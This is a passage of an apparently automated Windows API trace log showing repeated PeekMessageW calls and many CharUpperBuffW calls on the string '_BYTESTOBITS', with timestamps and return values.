lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.691] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.691] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.691] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.691] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.692] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.692] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.692] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.692] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.692] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.692] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.692] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.692] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.692] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.692] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.693] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.693] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.693] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.693] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.693] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.693] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.693] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.693] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.693] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.694] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.694] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.694] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.694] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.694] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.694] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.694] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.694] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.695] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.695] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.695] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.695] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.695] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.695] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.695] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.695] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.695] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.696] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.696] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.696] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.696] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.696] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.696] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.696] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.696] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.696] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.696] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.697] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.697] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.697] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.697] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.697] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.697] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.697] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.697] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.697] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.697] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.698] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.698] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.698] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.698] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.698] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.698] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.698] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.698] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.698] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.698] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.699] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.699] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.699] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.699] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.699] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.699] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.699] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.699] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.700] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.700] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.700] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.700] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.700] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.700] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.700] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.700] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.700] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.700] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.701] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.701] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.701] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.701] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.701] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.701] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.701] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.701] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.701] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.701] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.702] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.702] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.702] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.702] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.702] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.702] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.702] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.702] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", 